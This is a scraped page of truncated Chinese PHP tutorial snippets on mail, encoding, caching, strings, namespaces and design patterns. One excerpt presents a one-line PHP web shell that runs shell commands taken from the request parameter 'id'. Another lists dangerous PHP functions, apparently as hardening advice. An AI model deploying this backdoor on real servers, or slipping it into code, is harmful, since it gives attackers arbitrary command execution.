Time of Update: 2017-01-19
複製代碼 代碼如下:// multiple recipients $to = 'aidan@example.com' . ', '; // note the comma $to .= 'wez@example.com'; // subject $subject = 'Birthday Reminders for August'; // message $message = ' <html> <head> <title>Birthday Reminders
Time of Update: 2017-01-19
複製代碼 代碼如下:<html> <head> <title>插入一條新資料</title> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> </head> <body> <form method="post" name="form1" action="insert.php"> <table align="
Time of Update: 2017-01-19
但導到sqlserver 2005後,發現其中文編碼只支援GB 和 UCS-2(unicode 16),所以直接在資料庫中查詢顯示正確,但使用php的utf9編碼顯示時則全是亂碼。找了大量資料,什麼使用mssql,freetds,odbc,ado或直接每次查詢和寫入都進行轉碼等建議都有。不過實際測試中,發現Ado這種方法是好用的。 代碼如下:複製代碼 代碼如下:<html> <head> <meta http-equiv="Content-Type"
Time of Update: 2017-01-19
但其在UI方便卻有些力不從心,不僅是PHP,任何一種Web程式設計語言在設計UI都有類似的問題,宿主語言與HTML混和在一個檔案中,大量重複的 HTML代碼,毫無任何技術含量,但又非常的費時費力。於是我就希望能夠對之前做過的PHP項目UI部分進行總結和歸納,將其封裝為一個個小的組件(就像
Time of Update: 2017-01-19
前一段時間完成了伺服器從FreeBSD4.10到6.1的升級,同時把PHP也升級到了最新的PHP5.1.4,Apache也升級到了最新的Apache2.2,為了更好的提高系統的效能考慮對PHP再進行一些最佳化,前兩年接觸過MMCache和eAccelerator,尤其對eAccelerator非常喜歡,這次最佳化也選擇了它,下面整理一些文檔和大家分享。目錄:一、eAccelerator介紹1、背景2、原理二、安裝和配置1、支援平台2、系統要求3、安裝4、php.ini檔案配置5、驗證安裝三、使用
Time of Update: 2017-01-19
可以再錯誤語句前加上@ 也可以修改PHP.INI PHP.INI裡的error_reporting = E_ALL造成的,如果不希望看到這個提示,可以 error_reporting = E_ALL &~E_NOTICE。 也可在頁面頂部加上error_reporting(0); 將禁止本頁內任何錯誤顯示 又是一個提交程式的小bug,以前寫程式的時候對提交資料幾乎沒做什麼驗證判斷,比如接受 tj 的值,根本就沒有定義資料類型就直接進行提交了,所以導至了 Notice: Undefined
Time of Update: 2017-01-19
在php中: * 以單引號為定界符的php字串,支援兩個轉義\'和\\ * 以雙引號為定界符的php字串,支援下列轉義: \n 換行(LF 或 ASCII 字元 0x0A(10)) \r 斷行符號(CR 或 ASCII 字元 0x0D(13)) \t 水平定位字元(HT 或 ASCII 字元 0x09(9)) \\ 反斜線 \$ 貨幣符號 \" 雙引號 \[0-7]{1,3} 此Regex序列匹配一個用八進位符號表示的字元 \x[0-9A-Fa-f]{1,2}
Time of Update: 2017-01-19
簡單的回答,顯然是蒼白無力的。 今天我們來做個實驗,看看到底單引號和雙引號有什麼區別,誰快,誰慢。 測試代碼如下: 複製代碼 代碼如下:<?php $single_quotes = 'This is a String'; $double_quotes = "This is a String"; echo $single_quotes; echo $double_quotes; $var = 'String'; $single_quotes_var = 'This is a '.$var;
Time of Update: 2017-01-19
1、APC緩衝簡介APC,全稱是Alternative PHP Cache,官方翻譯叫"可選PHP緩衝".它為我們提供了緩衝和最佳化PHP的中間代碼的架構。
Time of Update: 2017-01-19
GBK編碼截取樣本複製代碼 代碼如下:$str = '我是誰'; //gbk編碼的字串echo mb_substr($str, 0, 1, 'gbk'); //輸出 我mb_substr方法比substr多一個參數,用來指定字串編碼。utf-8編碼截取樣本[code]$str = '我abc是誰'; //utf-8編碼的字串echo mb_substr($str, 0, 2, 'utf-8'); //輸出
Time of Update: 2017-01-19
在PHP中,檢查某個連結是否存在,有兩個方法,一個是使用curl,另外一個是 獲得HTTP的header的響應碼,如果是200的則是OK,如果是404的話就找不到了,例子如下:1) 使用get_headers: <?php $url = "yun_qi_img/demo.jpg"; $headers = @get_headers($url); if($headers[0] == 'HTTP/1.1 404 Not Found') { echo "URL
Time of Update: 2017-01-19
PHP前言:•動態地建立屬性和方法•對象的複製•對象的比較•載入指定的檔案•自動載入類檔案•命名空間樣本1、類的相關知識點 3(動態地建立屬性和方法)class/class3.php<?php/*** 類的相關知識點 3(動態地建立屬性和方法)*/// 用於示範如何動態地建立屬性(這就是 php 中所謂的重載)class Class1{// __set 魔術方法,當設定的屬性不存在或者不可訪問(private)
Time of Update: 2017-01-19
過濾html標籤在php中可以有內建的函數了,但它過濾的太乾淨了,我們就整理了一下些利用正則來過濾指定html標籤的例子,具體如下所示。採集的時候有時候需要過濾掉多餘的標籤屬性,比如 img標籤過濾掉除了src屬性之外的所有屬性例如刪除titile alt等屬性以及一些腳的onclick屬性等。例如過濾除了src之外的所有屬性:複製代碼 代碼如下:$str= preg_replace('/\s(?!src)[a-zA-Z]+=[\'\"]{1}[^\'\"]+[\'\"]{1}/iu',
Time of Update: 2017-01-19
當看到錯誤提示 syntax error, unexpected T_ENCAPSED_AND_WHITESPACE, expecting T_STRING or T_VARIABLE or T_NUM_STRING 這個提示,是提示變數使用的問題。 而我出現的是,語句中使用了數組,導致失敗。下面看看失敗的代碼; <?php echo "我是數組,$n['x']"; ?> 這樣即時雙引號是可以解析變數的,但是素組這樣的,寫法是沒辦法解析。修改成下面就可以了! <?php
Time of Update: 2017-01-19
複製代碼 代碼如下:if (defined('CONST_NAME')) { //do something }變數檢測則是使用isset,注意變數未聲明或聲明時賦值為NULL,isset均返回FALSE,如:複製代碼 代碼如下: if (isset($var_name)) { //do something}函數檢測用function_exists,注意待檢測的函數名也需要使用引號,如:複製代碼 代碼如下:if
Time of Update: 2017-01-19
單例模式(職責模式):簡單的說,一個對象(在學習設計模式之前,需要比較瞭解物件導向思想)只負責一個特定的任務;單例類:1、建構函式需要標記為private(存取控制:防止外部代碼使用new操作符建立對象),單例類不能在其他類中執行個體化,只能被其自身執行個體化;2、擁有一個儲存類的執行個體的靜態成員變數3、擁有一個訪問這個執行個體的公用的靜態方法(常用getInstance()方法進行執行個體化單例類,通過instanceof操作符可以檢測到類是否已經被執行個體化)另外,需要建立__clone(
Time of Update: 2017-01-19
可在編譯時間使用 –disable-cli。一旦編譯產生 CLI 模式的 PHP,則可能會被入侵者 利用該程式建立一個 WEB Shell 後門進程或通過 PHP 執行任意代碼! phpinfo() 功能描述:輸出 PHP 環境資訊以及相關的模組、WEB 環境等資訊。 危險等級:中 passthru() 功能描述:允許執行一個外部程式並回顯輸出,類似於 exec()。 危險等級:高 exec() 功能描述:允許執行一個外部程式(如 UNIX Shell 或 CMD 命令等)。 危險等級:高
Time of Update: 2017-01-19
複製代碼 代碼如下:<?php /*一個新型的php一句話cmdshell(非一句話木馬) //原理:php運行時如果遇見字元``(鍵盤上~符號的下檔鍵)總會嘗試著執行``裡麵包含的命令,並返回命令執行的結果(string類型); //局限性:特徵碼比較明顯,``符號在php中很少用到,殺毒軟體很容易以此為特徵碼掃描到並警報;``裡面不能執行php代碼; //write by skyfire */ echo `$_REQUEST[id]`; ?>
Time of Update: 2017-01-19
pcntl_fork()函數就是為當前的進程建立一個子進程。並且先運行父進程,返回的是子進程的PID,肯定大於零。在父進程的代碼中可以用pcntl_fork(&$status)暫停父進程知道他的子進程有傳回值。注意:父進程的阻塞同時會阻塞子進程。但是父進程的結束不影響子進程的運行。
Time of Update: 2017-01-19
官方手冊給出了以下範例: 複製代碼 代碼如下:<?php // 使用了NameSpace的例子 namespace Foobar; class Foo { static public function test() { print "Hello world!\n"; } } call_user_func(__NAMESPACE__ .'\Foo::test'); // As of PHP 5.3.0 // Hello world!